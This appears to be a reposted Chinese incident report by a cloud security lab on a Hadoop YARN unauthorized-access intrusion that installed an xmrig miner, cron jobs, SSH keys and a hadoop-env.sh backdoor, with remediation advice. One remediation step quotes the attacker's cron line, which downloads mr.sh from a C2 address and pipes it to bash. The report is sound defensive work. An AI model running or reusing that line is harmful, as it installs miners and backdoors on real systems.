内容简介:近日,晚间10点左右,金山云值班人员接用户紧急反馈:在业务开发过程中,Hadoop集群某一结点输入在获知该信息后,金山云安珀实验室迅速进行响应,第一时间与用户进行沟通和分析排查,最后确定是黑客通过Hadoop的REST API服务Yarn的未授权访问造成远程命令执行入侵,经过追踪分析处理,最后成功解除攻击威胁。以下我们将详细过程分享出来,与业界共勉,共同提升安全防御水平。
近日,晚间10点左右,金山云值班人员接用户紧急反馈:在业务开发过程中,Hadoop集群某一结点输入 hdfs dfs –ls /
会显示未知的公钥信息,怀疑自身服务被恶意入侵。
在获知该信息后,金山云安珀实验室迅速进行响应,第一时间与用户进行沟通和分析排查,最后确定是黑客通过Hadoop的REST API服务Yarn的未授权访问造成远程命令执行入侵,经过追踪分析处理,最后成功解除攻击威胁。
以下我们将详细过程分享出来,与业界共勉,共同提升安全防御水平。
追踪黑客来源:凡走过必定留下蛛丝马迹
在接到异常信息后,安珀实验室研究员立刻启动分析预警流程:先确认是否被入侵、入侵的方式及可能造成的损失。通过使用命令“hdfs”进行试探,发现存在异常信息,进一步分析,在/var/spool/cron目录下,发现了若干计划任务文件,证明该服务器确实被入侵。
通过分析,我们成功追踪到黑客的C&C服务器地址(http://149. . *.164:8220),连接到黑客的C2服务器上下载mr.sh并进一步分析,发现脚本存在如下几个特征:
1、脚本会删除其他的挖矿进程;
2、删除CPU占用率大于40的进程。
在上述操作执行完毕后,会下载真正的挖矿程序top,以及配置文件wc.conf,配置文件中包含挖矿的密码等信息。接着,会自动添加计划任务,将黑客的公钥添加到~/.ssh/authorized_keys文件中,实现黑客免密码登陆的目的。
脚本还会将受害服务器的IP、用户名、主机名等信息发送到黑客的服务器上,结合其将公钥写入到了~/.ssh/authorized_keys文件中,我们初步推测黑客可能通过脚本进行批量ssh登陆,从而实现批量管理肉鸡的目的。
接下来,我们按照该入侵路线排查用户的服务器,不过并没有发现同样的问题,猜测后门可能是在其他位置,经过详细排查,最后在/etc/hadoop/3.0.0.0-1634/0/hadoop-env.sh文件中,发现有被写入后门的痕迹。
抽丝剥茧求真相:再狡猾的狐狸也会露出尾巴
在上述文件中,我们发现有三行同样格式的后门,可以推测,服务器被黑客利用自动化脚本攻击了三次,同时,我们还发现了新的攻击脚本install.sh。将其下载后进行分析,发现该脚本会判断是否写过计划任务,如果写过的话会输入Cron exists,这恰好是之前用户反馈的问题。
通过后续的分析得知,当执行hdfs等hadoop所属的命令后,会先执行/usr/bin/hdfs,而这个可执行程序是个链接,链接到/usr/hdp/current/hadoop-hdfs-client/bin/hdfs文件。我们通过查看该文件,最终发现会执行红框内的代码,我们继续追踪如下:
1、查看该文件的内容,发现会执行libexec目录下的hdfs-config.sh脚本。
2、跟踪过去,在文件尾部会调用hadoop-function.sh文件。
3、继续跟踪,发现会执行conf目录下的hadoop-env.sh。该文件是黑客留有后门的文件,也就是说,用户在执行该命令的时候,就会调用黑客留下的后门,其他有关hadoop的命令也是如此。
根据和使用该服务器的用户交流来判断,之前该服务器启动过yarn服务,并且使用默认配置,没有进行任何的认证,开放在公网的8088端口,结合该Hadoop集群来看,黑客应该是通过Hadoop Yarn未授权访问漏洞入侵的。
并且,通过查看/etc/hosts文件,发现该集群还有其他几个节点,分别是node1(已经废弃使用很久),node2(本文分析的服务器,且还开放在公网上),node3(未连接公网),node4(未连接公网),其他节点都可以通过ssh + 主机名的方式直接登陆,并且也都发现已经被入侵了,但是通过计划任务被写入的时间点来看,其他机器并不是通过跳板入侵的,而是通过自动化脚本攻击的。
分析top挖矿程序,我们看到该程序是一个用于挖矿的软件,真实名字叫做xmrig。
将其md5值放入VirusTotal查询,发现有13家报毒,是一款挖矿软件。
分析至此,整件事件已经梳理清楚,黑客通过yarn服务入侵到服务器,并且写入了后门,执行install.sh, mr.sh程序,进行挖矿,期间通过漏洞写入了三次后门,C&C服务器IP为新加坡,但是由于install.sh存在报错机制,导致被发现。
此次事件金山云安珀实验室应对之道
1.建议客户登陆各个节点,将/etc/hadoop/3.0.0.0-1634/0/hadoop-env.sh文件结尾的后门进行删除;
2.登陆各个节点,到/var/spool/cron目录下,查看每个文件,如果内容是0 * * * * http://149.28.137.164:8220/mr.sh | bash -sh > /dev/null 2>&1,删除该文件;
3.增加hadoop kerberos认证;
4.将私用的服务放置在内网环境中使用,开放在公网的服务一定要加入认证环节。
以上是金山云在近期追踪并成功解决的一起比较典型的安全事件,在网络上,每天都有无数的黑客程序在自动巡游,一旦发现安全薄弱的设备,很快就能通过各种手段进行入侵,这就要求我们树立起牢固的安全防范意识,防患于未然。
以上所述就是小编给大家介绍的《金山云安珀实验室:处理一起黑客利用Hadoop集群挖矿事件》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- Elasticsearch 集群搭建和集群原理
- Zookeeper集群 + Kafka集群 + KafkaOffsetMonitor 监控
- Zookeeper学习系列【二】Zookeeper 集群章节之集群搭建
- Kafka从上手到实践-Kafka集群:启动Kafka集群
- 借 Redis cluster 集群,聊一聊集群中数据分布算法
- K8S集群入门:运行一个应用程序究竟需要多少集群?
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Numerical Recipes 3rd Edition
William H. Press、Saul A. Teukolsky、William T. Vetterling、Brian P. Flannery / Cambridge University Press / 2007-9-6 / GBP 64.99
Do you want easy access to the latest methods in scientific computing? This greatly expanded third edition of Numerical Recipes has it, with wider coverage than ever before, many new, expanded and upd......一起来看看 《Numerical Recipes 3rd Edition》 这本书的介绍吧!